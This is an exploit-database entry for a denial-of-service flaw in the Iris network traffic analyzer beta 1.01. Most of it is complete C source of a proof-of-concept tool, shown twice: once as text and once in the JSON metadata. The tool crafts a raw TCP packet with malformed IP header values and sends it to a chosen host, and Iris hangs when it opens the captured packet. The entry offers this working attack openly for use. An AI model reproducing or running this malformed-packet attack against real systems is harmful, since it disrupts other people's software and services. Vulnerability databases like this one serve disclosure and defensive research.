ID SSV:74458
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Description
No description provided by source.
source: http://www.securityfocus.com/bid/2278/info
A maliciously-formed packet sent to Iris by a remote attacker, upon opening in the program for analysis by a user, will cause Iris to terminate.
The crash is caused by an inability of Iris to handle packets with malformed values in its headers.
/* Denial of Service attack against :
* Iris The Network Traffic Analyzer beta 1.01
* ------------------------------------------------
*
* Will create an incorrect packet which will cause
* Iris to hang when it is opened by a user.
*
* Vulnerability found by : grazer@digit-labs.org
* Exploit code by : grazer@digit-labs.org
*
* Respect to the guys from eEye, for there fast
* response.
*
* greetings to hit2000, hwa, synnergy, security.is
* digit-labs.
*
* ---------------> free sk8!!!! <-----------------
*
* ------------------------------------------------
* http://www.digit-labs.org
* grazer@digit-labs.org
* ------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/types.h>
#include <sys/socket.h>
int build_packet(int sfd, u_long srcaddr, u_long dstaddr);
struct pseudo {
u_long saddr;
u_long daddr;
u_char zero;
u_char protocol;
u_short length;
};
int main(int argc,char **argv){
int rawfd, check, one=1;
struct sockaddr_in raddr;
struct in_addr source_ip, desti_ip;
struct ip *ip;
struct tcphdr *tcp;
while (argc<3) {
fprintf(stderr, "\n\n[ IRIS DoS attack - by grazer ]");
fprintf(stderr, "\n %s localhost remotehost \n\n", argv[0] ); exit(0);}
fprintf(stderr, "\nStarting Iris DoS...\n");
if((check=gethostbyname(argv[2])==NULL)) {
fprintf(stderr, "\nCannot resolve host %s\n", argv[2]); exit(0); }
source_ip.s_addr= inet_addr(argv[1]);
desti_ip.s_addr = inet_addr(argv[2]);
if ((rawfd=socket(PF_INET, SOCK_RAW, IPPROTO_TCP))<0) {
fprintf(stderr, "\n You need root for this..");
exit(0); }
setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, 1);
build_packet(rawfd,source_ip.s_addr, desti_ip.s_addr);
close(rawfd);
return 1; }
int build_packet(int sfd, u_long srcaddr, u_long dstaddr) {
u_char packet[sizeof(struct ip) + sizeof(struct pseudo) + sizeof(struct tcphdr)];
struct sockaddr_in sin;
struct in_addr src_inaddr, dest_inaddr;
struct ip *ip = (struct ip *) packet;
struct pseudo *pseudo = (struct pseudo *) (packet + sizeof(struct ip));
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip)
+ sizeof(struct pseudo));
bzero(packet, sizeof(packet));
bzero(&sin,sizeof(sin));
src_inaddr.s_addr = srcaddr;
dest_inaddr.s_addr = dstaddr;
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
pseudo->zero = 1;
pseudo->protocol=IPPROTO_TCP;
pseudo->length = htons(sizeof (struct tcphdr));
ip->ip_v = -1;
ip->ip_hl = -1;
ip->ip_id = -1;
ip->ip_src = src_inaddr;
ip->ip_dst = dest_inaddr;
ip->ip_p = IPPROTO_TCP;
ip->ip_ttl = 40;
ip->ip_off = -1;
ip->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
tcp->seq = htonl(rand());
tcp->ack = htonl(rand());
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=dstaddr;
sendto(sfd,packet,sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *) &sin,sizeof(sin));
fprintf(stderr, "\n Packet send... \n\n" );
return 1;}
{"href": "https://www.seebug.org/vuldb/ssvid-74458", "status": "cve,poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "eEye Digital Security IRIS 1.0.1 GET Denial of Service Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-74458", "cvelist": [], "description": "No description provided by source.", "viewCount": 2, "published": "2014-07-01T00:00:00", "sourceData": "\n source: http://www.securityfocus.com/bid/2278/info\r\n\r\nA maliciously-formed packet sent to Iris by a remote attacker, upon opening in the program for analysis by a user, will cause Iris to terminate.\r\n\r\nThe crash is caused by an inability of Iris to handle packets with malformed values in its headers. \r\n\r\n/* Denial of Service attack against :\r\n * Iris The Network Traffic Analyzer beta 1.01\r\n * ------------------------------------------------\r\n *\r\n * Will create an incorrect packet which will cause\r\n * Iris to hang when it is opened by a user.\r\n *\r\n * Vulnerability found by : grazer@digit-labs.org\r\n * Exploit code by : grazer@digit-labs.org\r\n *\r\n * Respect to the guys from eEye, for there fast\r\n * response.\r\n *\r\n * greetings to hit2000, hwa, synnergy, security.is\r\n * digit-labs.\r\n *\r\n * ---------------> free sk8!!!! <-----------------\r\n *\r\n * ------------------------------------------------\r\n * http://www.digit-labs.org\r\n * grazer@digit-labs.org\r\n * ------------------------------------------------\r\n */\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <netdb.h>\r\n#include <netinet/in.h>\r\n#include <netinet/ip.h>\r\n#include <netinet/tcp.h>\r\n#include <sys/types.h>\r\n#include <sys/socket.h>\r\n\r\nint build_packet(int sfd, u_long srcaddr, u_long dstaddr);\r\n\r\nstruct pseudo {\r\nu_long saddr;\r\nu_long daddr;\r\nu_char zero;\r\nu_char protocol;\r\nu_short length;\r\n};\r\n\r\nint main(int argc,char **argv){\r\nint rawfd, check, one=1;\r\n\r\nstruct sockaddr_in raddr;\r\nstruct in_addr source_ip, desti_ip;\r\nstruct ip *ip;\r\nstruct tcphdr *tcp;\r\n\r\n while (argc<3) {\r\n fprintf(stderr, "\\n\\n[ IRIS DoS attack - by grazer ]");\r\n fprintf(stderr, "\\n %s localhost remotehost \\n\\n", argv[0] ); exit(0);}\r\n\r\n fprintf(stderr, "\\nStarting Iris DoS...\\n");\r\n if((check=gethostbyname(argv[2])==NULL)) {\r\n fprintf(stderr, "\\nCannot resolve host %s\\n", argv[2]); exit(0); }\r\n\r\n source_ip.s_addr= inet_addr(argv[1]);\r\n desti_ip.s_addr = inet_addr(argv[2]);\r\n\r\n if ((rawfd=socket(PF_INET, SOCK_RAW, IPPROTO_TCP))<0) {\r\n fprintf(stderr, "\\n You need root for this..");\r\n exit(0); }\r\n\r\n setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, 1);\r\n\r\n build_packet(rawfd,source_ip.s_addr, desti_ip.s_addr);\r\n\r\n close(rawfd);\r\nreturn 1; }\r\n\r\n\r\nint build_packet(int sfd, u_long srcaddr, u_long dstaddr) {\r\n\r\nu_char packet[sizeof(struct ip) + sizeof(struct pseudo) + sizeof(struct tcphdr)];\r\nstruct sockaddr_in sin;\r\nstruct in_addr src_inaddr, dest_inaddr;\r\nstruct ip *ip = (struct ip *) packet;\r\nstruct pseudo *pseudo = (struct pseudo *) (packet + sizeof(struct ip));\r\nstruct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip)\r\n+ sizeof(struct pseudo));\r\n\r\n bzero(packet, sizeof(packet));\r\n bzero(&sin,sizeof(sin));\r\n\r\n src_inaddr.s_addr = srcaddr;\r\n dest_inaddr.s_addr = dstaddr;\r\n\r\n pseudo->saddr = srcaddr;\r\n pseudo->daddr = dstaddr;\r\n pseudo->zero = 1;\r\n pseudo->protocol=IPPROTO_TCP;\r\n pseudo->length = htons(sizeof (struct tcphdr));\r\n\r\n ip->ip_v = -1;\r\n ip->ip_hl = -1;\r\n ip->ip_id = -1;\r\n ip->ip_src = src_inaddr;\r\n ip->ip_dst = dest_inaddr;\r\n ip->ip_p = IPPROTO_TCP;\r\n ip->ip_ttl = 40;\r\n ip->ip_off = -1;\r\n ip->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);\r\n tcp->seq = htonl(rand());\r\n tcp->ack = htonl(rand());\r\n\r\n sin.sin_family=AF_INET;\r\n sin.sin_addr.s_addr=dstaddr;\r\n sendto(sfd,packet,sizeof(struct ip) + sizeof(struct tcphdr), 0,\r\n (struct sockaddr *) &sin,sizeof(sin));\r\n\r\n fprintf(stderr, "\\n Packet send... \\n\\n" );\r\n\r\n return 1;}\r\n\n ", "id": "SSV:74458", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T16:52:19", "reporter": "Root", "enchantments": {"score": {"value": -0.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.2}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645305180}}
{}